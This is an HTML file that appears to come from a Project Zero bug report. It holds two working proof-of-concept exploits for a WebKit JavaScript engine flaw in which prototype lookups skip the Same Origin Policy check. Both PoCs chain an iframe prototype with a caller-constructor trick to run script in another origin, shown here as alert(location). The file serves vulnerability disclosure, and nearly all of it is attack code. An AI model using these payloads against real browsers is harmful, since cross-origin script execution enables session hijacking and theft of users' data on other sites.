1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1240 JSObject::putInlineSlow and JSValue::putToPrimitive use getPrototypeDirect instead of getPrototype to get an object's prototype. So JSDOMWindow::getPrototype which checks the Same Origin Policy is not called. The PoC shows to call a setter of another origin's object. PoC 1 - JSValue::putToPrimitive: --> <body> <script> let f = document.body.appendChild(document.createElement('iframe')); let loc = f.contentWindow.location; f.onload = () => { let a = 1.2; a.__proto__.__proto__ = f.contentWindow; a['test'] = {toString: function () { arguments.callee.caller.constructor('alert(location)')(); }}; }; f.src = 'data:text/html,' + <code><iframe></iframe><script> Object.prototype.__defineSetter__('test', v => { 'a' + v; }); </scrip</code> + <code>t></code>; </script> </body> <!-- PoC 2 - JSObject::putInlineSlow: <body> <script> let f = document.body.appendChild(document.createElement('iframe')); let loc = f.contentWindow.location; f.onload = () => { let a = { __proto__: f.contentWindow }; a['test'] = {toString: function () { arguments.callee.caller.constructor('alert(location)')(); }}; }; f.src = 'data:text/html,' + <code><iframe></iframe><script> Object.prototype.__defineSetter__('test', v => { 'a' + v; }); </scrip</code> + <code>t></code>; </script> </body> --> |